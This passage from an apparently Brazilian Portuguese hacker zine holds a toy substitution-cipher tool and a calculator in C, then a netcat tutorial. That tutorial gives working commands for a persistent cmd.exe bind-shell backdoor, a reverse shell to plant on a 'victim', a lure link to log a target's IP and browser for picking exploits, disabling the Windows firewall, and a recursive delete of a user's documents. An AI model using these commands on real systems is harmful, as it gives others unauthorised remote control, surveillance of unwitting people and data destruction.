* http://www.hunterhacker.xpg.com.br/Emp_Dcript.c.diz
* ou em
* http://www.explinter.orgfree.com/Emp_Dcript.c.diz
*/


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int banner (){
SetConsoleTitle ("Emperial Encripter by 6_Bl4ck9_f0x6");
char *banner[]={

"[=] + ==========[####]============ + [=]\n",
" *** Emperial Encripter ***\n",
" XxX VIPER CORP GROUP XxX\n",
" <-> Underground Max <->",
"[=] + ==========[####]============ + [=]\n"};
printf ("%s%s%s%s\n\n", banner[0], banner[1],
banner[2], banner[4]);}

int main (void){

system ("cls");
banner ();

FILE *output;
output = fopen ("String's_encript.diz", "w");

if (!output){
perror ("Erro:");
fprintf (stderr, "\nNao consegui criar o arquivo\
com a(s) string(s) encriptada(s)\n"
);
exit (-1);}

int i=0;
char string_s[1000];
fprintf (stdout, "\nEntre com sua string\
[Max 9999 caracteres]:\n\n"
);
gets (string_s);


for (i;string_s[i] != '\0';i++){

if (string_s[i] == 'A'){
string_s[i]='*';}
else if (string_s[i] == 'a'){
string_s[i]='[';}
else if (string_s[i] == 'B'){
string_s[i]='$';}
else if (string_s[i] == 'b'){
string_s[i]='!';}
else if (string_s[i] == 'C'){
string_s[i]='8';}
else if (string_s[i] == 'c'){
string_s[i]='+';}
else if (string_s[i] == 'D'){
string_s[i]='@';}
else if (string_s[i] == 'd'){
string_s[i]='k';}
else if (string_s[i] == 'E'){
string_s[i]='%';}
else if (string_s[i] == 'e'){
string_s[i]=')';}
else if (string_s[i] == 'F'){
string_s[i]='6';}
else if (string_s[i] == 'f'){
string_s[i]='"';}
else if (string_s[i] == 'G'){
string_s[i]='4';}
else if (string_s[i] == 'g'){
string_s[i]='1';}
else if (string_s[i] == 'H'){
string_s[i]='?';}
else if (string_s[i] == 'h'){
string_s[i]='A';}
else if (string_s[i] == 'I'){
string_s[i]='T';}
else if (string_s[i] == 'i'){
string_s[i]='7';}
else if (string_s[i] == 'J'){
string_s[i]='P';}
else if (string_s[i] == 'j'){
string_s[i]='&';}
else if (string_s[i] == 'L'){
string_s[i]='Z';}
else if (string_s[i] == 'l'){
string_s[i]='~';}
else if (string_s[i] == 'M'){
string_s[i]='y';}
else if (string_s[i] == 'm'){
string_s[i]='{';}
else if (string_s[i] == 'N'){
string_s[i]='q';}
else if (string_s[i] == 'n'){
string_s[i]='9';}
else if (string_s[i] == 'O'){
string_s[i]='^';}
else if (string_s[i] == 'o'){
string_s[i]='=';}
else if (string_s[i] == 'P'){
string_s[i]='#';}
else if (string_s[i] == 'p'){
string_s[i]=':';}
else if (string_s[i] == 'Q'){
string_s[i]='-';}
else if (string_s[i] == 'q'){
string_s[i]=']';}
else if (string_s[i] == 'R'){
string_s[i]='F';}
else if (string_s[i] == 'r'){
string_s[i]=';';}
else if (string_s[i] == 'S'){
string_s[i]='2';}
else if (string_s[i] == 's'){
string_s[i]='h';}
else if (string_s[i] == 'T'){
string_s[i]='.';}
else if (string_s[i] == 't'){
string_s[i]=',';}
else if (string_s[i] == 'U'){
string_s[i]='3';}
else if (string_s[i] == 'u'){
string_s[i]='E';}
else if (string_s[i] == 'V'){
string_s[i]='<';}
else if (string_s[i] == 'v'){
string_s[i]='|';}
else if (string_s[i] == 'W'){
string_s[i]='Y';}
else if (string_s[i] == 'w'){
string_s[i]='X';}
else if (string_s[i] == 'X'){
string_s[i]='G';}
else if (string_s[i] == 'x'){
string_s[i]='5';}
else if (string_s[i] == 'Y'){
string_s[i]='/';}
else if (string_s[i] == 'y'){
string_s[i]='}';}
else if (string_s[i] == 'Z'){
string_s[i]='n';}
else if (string_s[i] == 'z'){
string_s[i]='I';}
else if (string_s[i] == '!'){
string_s[i]='U';}
else if (string_s[i] == ','){
string_s[i]='D';}
else if (string_s[i] == '.'){
string_s[i]='L';}
}

fprintf (output, "
%s", string_s);
fclose (output);
system ("
cls");
banner();
fprintf (stderr, "
6_Bl4ck9_f0x6 diz:\n\n");
puts ("
String(s) encriptada(s) com sucesso!\n");
system ("
pause");
return (0);}

--- cute nessa porra Here! ---


Ai vai o Dcripter minha gente, ei ei ei, vale lembrar ai pra voces
que essas são minhas subistituições... voces podem... ou melhor,
devem fazer! suas proprias, não usem o default, pois pode existir
outros leitores da zine que podem ser seus conhecidos no orkut
e tals, dai eles podem decriptar suas msg's, por isso -> Faça seu
proprio algoritimo baseado no meu e no do Julio Cezar do
Emperio Romano =)

--- Emp_Dcript.c ---

/* [XxX -> x]+===x==X==x===x+[x <- XxX]
* *** Viper Corp ***
* -> Obrigado a todos <-
* [x <-> XxX]+===x==X==x===x+[XxX <-> x]
*
* Emperial Encripter [Emp_Dcript.c] v0.1
* by
* 6_Bl4ck9_f0x6
*
*
* Atenção: Esta é a ferramenta 'decriptadora', para
* 'encriptar' voce precisa do -> Emp_Encript.c <- que
* pode ser obtido em:
*
* http://www.hunterhacker.xpg.com.br/Emp_Encript.c.diz
* ou em
* http://www.explinter.orgfree.com/Emp_Encript.c.diz
*/

#include <stdio.h>
#include <stdlib.h>

int banner (){
char *banner[]={

"
[=] + ==========[####]============ + [=]\n",
"
*** Emperial Encripter ***\n",
"
XxX VIPER CORP GROUP XxX\n",
"
<-> Underground Max <->",
"
[=] + ==========[####]============ + [=]\n"};
printf ("
%s%s%s%s\n\n", banner[0], banner[1],
banner[2], banner[4]);}

int main (int argc, char *argv[]){

system ("
cls");
banner ();
if ( (argc < 3) || (argc > 3) ){
fprintf (stderr, "
Uso: %s <file_input> <file_output>\n", argv[0]);
exit (0);}

char reader;

FILE *input;
FILE *output;

if ((input = fopen (argv[1], "
r")) == NULL){
perror ("
Erro");
fprintf (stderr, "
\nNao consegui abrir o \
arquivo -> %s <- para leitura\n", argv[1]);
exit (-1);}

else if ((output = fopen (argv[2], "
w")) == NULL){
fprintf (stderr, "
\nNao consegui escrever \
a saida decriptada no arquivo -> %s <-\n", argv[2]);
exit (-1);}

while ((reader = getc (input) ) != EOF){

if (reader == '*'){
reader='A';}
else if (reader == '['){
reader='a';}
else if (reader == '$'){
reader='B';}
else if (reader == '!'){
reader='b';}
else if (reader == '8'){
reader='C';}
else if (reader == '+'){
reader='c';}
else if (reader == '@'){
reader='D';}
else if (reader == 'k'){
reader='d';}
else if (reader == '%'){
reader='E';}
else if (reader == ')'){
reader='e';}
else if (reader == '6'){
reader='F';}
else if (reader == '"
'){
reader='f';}
else if (reader == '4'){
reader='G';}
else if (reader == '1'){
reader='g';}
else if (reader == '?'){
reader='H';}
else if (reader == 'A'){
reader='h';}
else if (reader == 'T'){
reader='I';}
else if (reader == '7'){
reader='i';}
else if (reader == 'P'){
reader='J';}
else if (reader == '&'){
reader='j';}
else if (reader == 'Z'){
reader='L';}
else if (reader == '~'){
reader='l';}
else if (reader == 'y'){
reader='M';}
else if (reader == '{'){
reader='m';}
else if (reader == 'q'){
reader='N';}
else if (reader == '9'){
reader='n';}
else if (reader == '^'){
reader='O';}
else if (reader == '='){
reader='o';}
else if (reader == '#'){
reader='P';}
else if (reader == ':'){
reader='p';}
else if (reader == '-'){
reader='Q';}
else if (reader == ']'){
reader='q';}
else if (reader == 'F'){
reader='R';}
else if (reader == ';'){
reader='r';}
else if (reader == '2'){
reader='S';}
else if (reader == 'h'){
reader='s';}
else if (reader == '.'){
reader='T';}
else if (reader == ','){
reader='t';}
else if (reader == '3'){
reader='U';}
else if (reader == 'E'){
reader='u';}
else if (reader == '<'){
reader='V';}
else if (reader == '|'){
reader='v';}
else if (reader == 'Y'){
reader='W';}
else if (reader == 'X'){
reader='w';}
else if (reader == 'G'){
reader='X';}
else if (reader == '5'){
reader='x';}
else if (reader == '/'){
reader='Y';}
else if (reader == '}'){
reader='y';}
else if (reader == 'n'){
reader='Z';}
else if (reader == 'I'){
reader='z';}
else if (reader == 'U'){
reader='!';}
else if (reader == '('){
reader=',';}
else if (reader == 'L'){
reader='.';}
else if (reader == 'D'){
reader=',';}

putc (reader, output);}

fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n");
puts ("String(s) decriptada(s) com sucesso!\n");

fclose (input);
fclose (output);
return (0);}

-- end --


----- C4p1Tul0 14


xXx=============================xXx
The King of the Calculators
xXx=============================xXx

Hi! Estou trazendo mais uma calculadora maneira proces rsrs,
já foi calc em batch e js, hoje vai rolar uma em C, aeee!!! Espero
que gostem, pois passei uns 10 minutos fazendo essa porcaria, ei ei ei,
a famosa função system ta na area e meu velho ingles de butiquim também
XP, puta merda, dei uma americanizada totalmente vagabunda no code da
calc, só pra deixar a parada mais maneira ^^. Todo mundo diz que o
que é escrito em ingles tem mais valor porra hauhauah!!! Então vamos
valorizar 10 min do meu precioso tempo, sou um homem muito ocupado
rsrsr ^^ (Que mentira da porra!! Passo o dia sem fazer nada rsrs).


--------- foxCalc.c ---------

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


int divisao (int a, int b){
printf ("The result is: %d\n\a", (a / b));
printf ("Press Any Key For Exit...");
system ("pause > nul");}

int multiplicacao (int valor1, int valor2){
printf ("The result is: %d\n\a", (valor1 * valor2));
printf ("Press Any Key For Exit...");
system ("pause > nul");}

int subtracao (int valor1, int valor2){
printf ("The result is: %d\n\a", (valor1 - valor2));
printf ("Press Any Key For Exit...");
system ("pause > nul");}

int main ()
{
int operation;
Label:
system ("cls");
system ("title Simple Calculator v0.1 Beta");
printf ("Simple Calculator v0.1 Beta by 6_Bl4ck9_f0x6\n\
Copyright 200*-2008 Viper Corp.\n\n\n"
);
printf ("======================================================\n");
printf ("Sintax:\n\n[+ = somar] [- = subtrair] [* = multiplicar] \
[/ = dividir]\n\n"
);
printf ("======================================================\n");
printf ("Write your operator:");
scanf ("%c", &operation);
if (operation == '+')
{
int numberone, numbertwo;
system ("cls");
printf ("This is your operator (+)\n\n");
printf ("Write first number and press enter:");
scanf ("%d", &numberone);
printf ("Write secound number and press enter:");
scanf ("%d", &numbertwo);
printf ("\n%d + %d = %d\n\n", numberone, numbertwo,(numberone + numbertwo));
printf ("Press Any Key For Exit...");
system ("pause > nul");
return (0);
}
else if (operation == '-')
{
int numberone, numbertwo;
system ("cls");
printf ("This is your operator (-)\n\n");
printf ("Write first number and press enter:");
scanf ("%d", &numberone);
printf ("Write secound number and press enter:");
scanf ("%d", &numbertwo);
subtracao (numberone, numbertwo);
return (0);
}
if (operation == '*')
{
system ("cls");
int operador1, operador2;
printf ("This is your operator (*)\n\n");
printf ("Write first number and press enter:");
scanf ("%d", &operador1);
printf ("Write secound number and press enter:");
scanf ("%d", &operador2);
multiplicacao (operador1, operador2);
return (0);
}
if (operation == '/')
{
int valor1, valor2;
system ("cls");
printf ("This is your operator (/)\n\n");
printf ("Write first number and press enter:");
scanf ("%d", &valor1);
printf ("Write secound number and press enter:");
scanf ("%d", &valor2);
divisao (valor1, valor2);
return (0);
}
else
{
system ("cls");
printf ("\n\nSorry your operator is invalid...");
Sleep (1000);
goto Label;
}
return (0);
}

--------- cut ---------


Eu acho que esqueci de alguma coisa, hum...


[s]


----- C4p1Tul0 15

[+ ====================================== +]
X=======xxXxx========X
-> O Imortal Netcat <-
X=======xxXxx========X
[+ ====================================== +


[]==-----------------x-------X----------x-----------------------==[]
Atenção: C voce "pensa" que manja tudo do netcat e esta louco
para dizer que o assunto do texto ja ta mais manjado que arroz e
feijão, gostaria de dizer uma coisa for you -> Esse texto naum é
para voce amigo =)

Ideia extract from zine f3-06:

==> ~~~ ( * )

To gozando no cu de voceis :P

[]==-----------------x-------X----------x-----------------------==[]


Esse texto e todos os outros que eu vinher a escrever, serão dedicados
a todos os escritores de textos que um dia cheguei a ler =) Um eterno
aprendiz como eu nunca seria nada sem todos voces, na verdade ninguem
seria nada sem ninguem, trocamos conhecimentos para evoluir juntos, ou
(quase sempre) apenas exibir nossos conhecimentos sem a menor pretenção
de ajudar o proximo, escrevendo txt's de dificil compreensão por parte
dos iniciantes e de curiosos que poderiam vir a ser novos talentos no
nosso mundo, ou undermundo, backmundo, foremundo =) Enfim, vamos
começar a baixaria -.O. Na minha mais que sincera opinião, a melhor
ferramenta manoh! Se eu pegar algum filho de uma * arromb4do dizendo
que o netcat num presta, eu soco uma torradeira no * desse fdp.Cof! Cof!
Desculpem a baixaria, agora to + calmo =)

Voce pode fazer muuitas coisas com o netcat, quando digo muitas, eu quero
dizer "muuuuitas" msm. Para um help digite nc -h, vou traduzir apenas as
options que iremos utilizar, pois a intenção aqui é lhe da uma boa "base"
do netcat ;)


C:\>nc -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Baixem o netcat aqui:

v1.11 NT

http://www.hunterhacker.xpg.com.br/22.zip

Voce pode entrar no diretorio dos arquivos do nc usando o 'cd',
ou mesmo ajustar seu PATH para encontrar o diretorio do rapaz.
Sem duvida uma das formas de utilização mais rapidas e menos
cheias de frescura, é extrair para o system32 =) Ou seja,

baixou -> extract for system32 ;)

Ja que vc's viram o 'system32', isso significa que iremos utilizar
qual OS? Aeee! Se vc respondeu -> win <- ganhou um beijinho
imaginario (claro!) :P Mas... ainda nesse texto abordaremos a
instalação e utilização do netcat em -> Unixes like <- da vida, pois
como sempre, se tu começar no win, fica mais facil mecher nos
-> Unixes like da vida <-, tipo, eu mostro a utilização no win e
depois (que voces entenderem) é só adaptar pequenas coisinhas
para o netcat funcionar nos -> Unixes like da vida <-, são
pequenos detalhes como a opção '-L' (Ei <-- Isso é case =)
que não rebindeia a porta apos a encerramento da conexão,
porque os Unixes -> like da vida <- são muito fulero's, mas tambem
tem a questao das portas no -> Unixes like da vida <-, porque
abaixo de 1024 só root tem permissões para bindear uma porta.
Eh amigo, o -> Unix like da vida <- é fogo =)

Continuando...


Vamos a algumas options traduzidas e adaptadas by me (:]) manoh!

========================================================
-d -> Com essa porra o netcat fica rodando em background.
-e -> Posso manipular um program para que o user mecha quando ele der um TCP
connect na door em listen.

-l -> Abre uma porta, quando o maluco desconectar ela fica fechada
-L -> TB Abre abre uma porta, mas dessa vez a porta vai reabrir após o closesocket
do maluco.

-n -> Só cata number's IP, nada de DNS baby ;)
-p -> Determina qual a porta que será aberta
-r -> Randomize local and remote ports
-u -> UDP mode
-v -> Verbose do capeta manoh! Usa ai o -vv
-w -> Determina um tempo limite para duração de uma conexão
-z -> Num deixa o netcat ficar conectado num scan
========================================================

Backdoor

Vamos fazer uma backdoor com o netcat:

C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe
listening on [any] 666 ...

-------------------------------------------------
Da um telnet nessa porta -> telnet 127.0.0.1 666
-------------------------------------------------

C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe
listening on [any] 666 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1655

La no cliente:

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>

Explicação:

nc -L -p 666 -vv -e cmd.exe -> Manipulamos o shell que ja ta no PATH ;) <-
| | | _ _ | |
| | | + -> A tal da verbose para obtermos mais informações na action's
| | |
| | + ->Definimos que seria a porta '666' a aberta <-
| |
| + -> Abre a tal da porta, reabrindo a mesma depois do closesock <-
|
+ -> Sempre usar 'nc' antes da sintaxe :] lol <-


Rodando netcat na memoria

Quando o server-side fecha a shell que ta recebendo a conexão, o cliente morre (dã),
mas acho que isso ta na cara :P, para evitar isso foi criado a opção -d ;)

nc -L -p 666 -d -e cmd.exe

Sempre que o cliente conecta vai ter uma shell esperando ele =) Lembrando que até a
vitima fazer logoff ou algo do tipo :P, mas voce pode iniciar o bicho na maquina usando
o reg add e compilando um batch em aplicação fantasma. Para matar pegue a pid do
garoto:

C:\Documents and Settings\David>tasklist

Nome da imagem Identi Nome da sessão Sessão# Uso de memór
========================= ====== ================ ======== ============
System Idle Process 0 Console 0 20 K
System 4 Console 0 48 K
smss.exe 680 Console 0 44 K
csrss.exe 736 Console 0 1.100 K
winlogon.exe 760 Console 0 2.912 K
services.exe 808 Console 0 1.284 K
lsass.exe 820 Console 0 1.320 K
explorer.exe 260 Console 0 12.880 K
HackerEliminator.exe 1164 Console 0 5.568 K
ashDisp.exe 1212 Console 0 660 K
msdtc.exe 1584 Console 0 56 K
Abel.exe 1708 Console 0 48 K
aswUpdSv.exe 1860 Console 0 52 K
ashServ.exe 1900 Console 0 1.564 K
inetinfo.exe 1960 Console 0 1.220 K
PGPsdkServ.exe 1992 Console 0 1.020 K
locator.exe 336 Console 0 28 K
snmp.exe 376 Console 0 420 K
tlntsvr.exe 548 Console 0 48 K
wdfmgr.exe 592 Console 0 40 K
winvnc4.exe 1376 Console 0 700 K
vmnetdhcp.exe 824 Console 0 292 K
cmd.exe 3268 Console 0 800 K
nc.exe 3596 Console 0 1.812 K < ----
nc.exe 2764 Console 0 1.964 K < ----
tasklist.exe 3168 Console 0 4.684 K
wmiprvse.exe 788 Console 0 3.980 K

Achamos os processos pelas imagens (nc.exe) e temos suas PID's,
vamos meter um unico tiro na's cabeça's dessa's porra's manoh!

C:\Documents and Settings\David>taskkill /f /PID 3596 & taskkill /f /PID 2764 & echo Bang!
ÊXITO: o processo com PID 3596 foi encerrado.
ÊXITO: o processo com PID 2764 foi encerrado.
Bang!


-n -> Only Numerical :P (inglish vagabundo =)

DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2256 --> Sem -n <--

C:\Documents and Settings\David>nc -L -n -p 666 -vv -e cmd.exe
listening on [any] 666 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1760 --> Com o -n <--


------ > Engraçadamente netcat < ------

Isso ae é baum proces zuarem com seus manow's:

--- sangue_baum.bat ---

@echo off
:Magic
set Magic_word=Queijo
set /p palavra_magica=Digite a palavra magica ai manoh:
if /I %palavra_magica% EQU %Magic_word% (
exit ) ELSE (
echo Esta Magic_word esta... Errada!! =] & pause)
goto :Magic

--- cut nessa porra here =) ---

C:\Documents and Settings\David>nc -L -p 789 -vv -e \sangue_baum.bat
listening on [any] 789 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1807

Cliente:

Digite a palavra magica ai manoh: < ---- hauhauha!!!


------ > Varrendo hosts com o netcat < ------

C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-22
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
localhost [127.0.0.1] 20 (ftp-data): connection refused
sent 0, rcvd 0: NOTSOCK

To varrendo da porta 22 a porta 20 do meu addr de loopback, regredindo manoh.
O '-z' foi usado ai pro netcat num parar na porta de algum serviço, ou seja, assim
ele conecta e desconecta. Sem o '-z':

C:\Documents and Settings\David>nc -vv 127.0.0.1 20-22
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
220-Microsoft FTP Service
=========================
Bem vindo ao Machinered
220 =========================

Sacou manoh!? Usei duas verboses ai para obter mais informações sobre
o scan. Se quizermos obter na shell, a saida somente com portas abertas
no host varrido, utilizamos apenas uma verbose:

C:\Documents and Settings\David>nc -z -v 127.0.0.1 10-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 25 (smtp) open
localhost [127.0.0.1] 23 (telnet) open
localhost [127.0.0.1] 21 (ftp) open

Very easy! Mas para a galerinha que ta começando é sempre bom ver
o nome dos protocolos e as suas respectivas portas "padrões", por
isso não recomento o uso de uma verbose por parte dos iniciantes =)

-------- > Com o -n < --------

(UNKNOWN) [127.0.0.1] 22 (?): connection refused
(UNKNOWN) [127.0.0.1] 21 (?) open
(UNKNOWN) [127.0.0.1] 20 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Repara aqui manoh! -> 21 (?) <- O netcat num mostrar
nem o nome do serviço, quando vc ta usando a opt -n :P

-------- > Sem o -r < --------

C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] -> 25 <- (smtp): connection refused
localhost [127.0.0.1] -> 24 <- (?): connection refused
localhost [127.0.0.1] -> 23 <- (telnet) open
localhost [127.0.0.1] -> 22 <- (?): connection refused
localhost [127.0.0.1] -> 21 <- (ftp) open
localhost [127.0.0.1] -> 20 <- (ftp-data): connection refused
sent 0, rcvd 0: NOTSOCK

-------- > Com o -r < --------

C:\Documents and Settings\David>nc -z -r -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] -> 21 <- (ftp) open
localhost [127.0.0.1] -> 22 <- (?): connection refused
localhost [127.0.0.1] -> 24 <- (?): connection refused
localhost [127.0.0.1] -> 25 <- (smtp): connection refused
localhost [127.0.0.1] -> 20 <- (ftp-data): connection refused
localhost [127.0.0.1] -> 23 <- (telnet) open
sent 0, rcvd 0

Repare bem na sequencia =)

------->Usando o -w<-------

Bem, vamos supor que por algum motivo qualquer voce queira ver os
banners dos serviços nox host'x remotos na hora da varredura, eu até
entenderia isso, pois pode ser uma boa auternativa se tratando de
ataque de footprint ;)

C:\Documents and Settings\David>nc -w 1 -r -vv 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator
localhost [127.0.0.1] 20 (ftp-data): connection refused
localhost [127.0.0.1] 25 (smtp) open
220 Sendmail 8.11.13 < -- Banner gerado por um honeypot de baixa interatividade
localhost [127.0.0.1] 22 (?): connection refused
localhost [127.0.0.1] 24 (?): connection refused
localhost [127.0.0.1] 21 (ftp) open
220-Microsoft FTP Service
=========================
Bem vindo ao Machinered
220 =========================
net timeout
localhost [127.0.0.1] 23 (telnet) open
%$3222@!!# net timeout < -- Representando o's Lixos (ASCII's)
sent 0, rcvd 141: NOTSOCK

Explicação:

nc -w 1 -r -vv 127.0.0.1 20-25 --> Varre da porta 20 a 25 romdomizando
as portas, se conecta, exibe o banner e disconnect depois de 1 seg ;]
Achu que Servidores, costumam mostrar seus nomes e suas versoes no banner manoh!!
Imagina ai aqueles servers velhos de guerra vulveraveis a overflow, como
o ->'Sami FTP Server'<- Se voce encontrar alguns destes, pode até conseguir
acesso ao sistema do camarada "remotamente" utilizando algun exploit, ou simplesmente
derrubalos enviando buffer's diabolicos com grandes quantidades de bytes
Atenção: --> (D.O.S é coisa de Kiddie ;) <--

Só os banners manoh!

C:\Documents and Settings\David>nc -w 1 -v 127.0.0.1 20-25
DNS fwd/rev mismatch: localhost != Violator

localhost [127.0.0.1] 25 (smtp) open
220 Sendmail

 
Settings\David>erase /F /S /P "%HOMEPATH%\Meus documentos"
C:\Documents and Settings\David\Meus documentos\connect.cpp, Excluir (S/N)? S <- Fudeu! :]
Arquivo excluído - C:\Documents and Settings\David\Meus documentos\connect.cpp
C:\Documents and Settings\David\Meus documentos\elhacker.net.url, Excluir (S/N)? <- Ctrl+c for jump
C:\Documents and Settings\David\Meus documentos\Explorer.scf, Excluir (S/N)? n <- Bonzinho ^^
C:\Documents and Settings\David\Meus documentos\IMAGEM!!!.JPG, Excluir (S/N)? n <- 1 Angel ^^
C:\Documents and Settings\David\Meus documentos\Netstat.cpp, Excluir (S/N)? <- Ctrl+c [jump]
C:\Documents and Settings\David\Meus documentos\Netstat.exe, Excluir (S/N)? < -- Jump
C:\Documents and Settings\David\Meus documentos\Netstat.zip, Excluir (S/N)? < -- Jump
C:\Documents and Settings\David\Meus documentos\Readme.txt, Excluir (S/N)? < -- Jump

TIRA O ->'/P'<- MANOH! :]

Conexão reversa usando o netcat ;]

No seu host deixe duas portas listening


C:\>nc -L -p 1 -vv
listening on [any] 1 ... < ------Receberá-a-conexão----------- +



C:\>nc -L -p 2 -vv
listening on [any] 1 ... < ------Receberá-a-conexão----------- +


Manda pra vitima algo do tipo compilado ou em 'batch' mesmo:

nc ->inet_addr<- 1 | cmd.exe | nc ->inet_addr<- 2

Onde inet_addr é o seu endereço logico = ->IP<-

Para testar use seu end de loopback, ficando assim:

nc 127.0.0.1 1 | cmd.exe | nc 127.0.0.1 2

======================================
C:\>nc -L -p 1 -vv
listening on [any] 1 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1933
======================================
C:\>nc -L -p 2 -vv
listening on [any] 2 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1934
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>
======================================


C:\>nc -L -p 1 -vv
listening on [any] 1 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 1946
dir <---- Executa os command's nessa shell manoh! e ->Olha a saida na outra<-



[]==xXx========[ ******* ]========xXx==[]
---- > Sniffer with netcat < ----
x x x
[]==xXx========[ ******* ]========xXx==[]

Use um redirecionador de url qualquer e mande seu endereço IP
"disfarçado" para a vitima :] Tipo assim, manda pra uma mina
(vitima = Feminino -> Que cara maxista =) uma url bem loca,
algo mais ou menos do tipo:

quero_seu_ip_gostosa.4-all.org

Se liga no FQDN ->Grates!!<- Se liga no dominio ->Se cadastra!<-

A Parada é essa truta:

nc -L -p 80 -vv > \daemon_log.log

Se liguem que a porta de servidor de web é a 80 (http), os browser's
por default costumam se conectar nos host's da vida pela porta 80, ou
seja -> Porta que está em listen no seu host. Vc's lembram que com
verbose o netcat mostra o endereço IP do cliente-side quando ele se
conecta? Entaum... Bingo!!

---> http://localhost <---

C:\Documents and Settings\David>nc -L -p 80 -vv >> \daemon_log.log
listening on [any] 80 ...
DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2004

Reparem que utilizei um redirecionador para jogar a saida (result's)
para o arquivo daemon_log.log na minha raiz ('\'). Vamos ver os logs:


C:\Documents and Settings\David>type \daemon_log.log
GET / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

->PARA QUEM GOSTA DE FOOTPRINT AI É UM PRATO CHEIO MANOH!<-

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0

Tem exploit que so funfa para determinados browser's (Mozilla/5.0), determinados OS's
(Windows) e podem ser apenas para certo idioma (pt-BR), pois as vezes fica complicado
achar uma falha universal e tals ;)

Lembrando que o nc re-bindea a porta para aguardar + vitimas ;] E já que
o redirecionador '>>' sempre acrescenta novos bytes no final do arquivo,
eu posso ter uma grande lista de endereços IPs e informações de browsers,
OS's e etc se eu tiver um pingo de raciocinio em minha mente... e se meu
MSN estiver
--> movimentado =) <--

Acho melhor que estabelecer uma conexão usando VOIP, mandar link
sempre da menos na telha ^^. Tipo, com o netstat c pode pegar um IP,
C vai mandar uma foto, sua maquina vai mandar um SYN pro host, então
o netstat imprime um -> SYN_SENT <- e tal's, mas se vc naum tiver um
bom queixo, a vitima desconfia dessas fotinhas e tals, e para justificar
url furada é mais facil manoh!! =)

Detalhes, Detalhes

Manoh! Se liga! Se a vitima estiver usando um proxy, voce vai pegar o
IP do proxy cara, e como eu estava falando, se ela de um netstat ela pega
teu IP facim, facim, porque ai vai rolar um bacanal (

Proto Endereço local Endereço externo Estado
TCP Violator:http localhost:2031 ESTABLISHED)

sacou? Ou até mesmo um:

Proto Endereço local Endereço externo Estado
TCP 127.0.0.1:80 127.0.0.1:2031 ESTABLISHED

Loopback é foda Xp

--->Mais detalhes<---

Tu naum vai pensando que é 100% maravilhas mexer com o netcat naum manoh.
Se liga c tu consegue abrir as portas da vida, ou seja -> se liga no firewall manoh!
Para desabilitar o fw do windows (default), basta digitar

-> net stop sharedaccess <-

e katapimba! Caso for o zone alarm e essas paradinhas da vida, tenta usar um killer,
procura o que o Royall codou. Achu que mata mais de 500's, um amigo disse que
era 10 mil XPXPXP Eita!! Nunca parei para contar ^^, mas o batch é muito loco
msm, num vo postar lá no FTP proces, pq num to com sacow para procurar o killer.
E tipo assim, escrever textos contendo link's furados eh fogo, my's txt's tem que ser
eternamente perfect's (Mas porque o: http://www.hunterhacker.xpg.com.br/22.zip?)
(Porque eu quiz porr4! X). ah! Parece que a vQue eu tenho, num pega o KasperSky pq
ele ta apelando (foi isso que eu ouvi la no forum =)

--- > Enviando e recebendo arquivos (and ASCII's in Shell ) <--

Esse negocio de env(f)iando e recebendo pode lhes parecer um tanto quanto....
Imundo!! Mas tipo assim, é verdade XP. Se liga ai:

Exemplo de 'printf' em string'x nos files (ASCII'S):

C:\Documents and Settings>echo Hi Guys! > \my_file.diz & nc -l -p 6969 -vv < \my_file.diz
listening on [any] 6969 ...

-> telnet 127.0.0.1 6969 <-

Hi Guys! --- > Na janela do shell
_

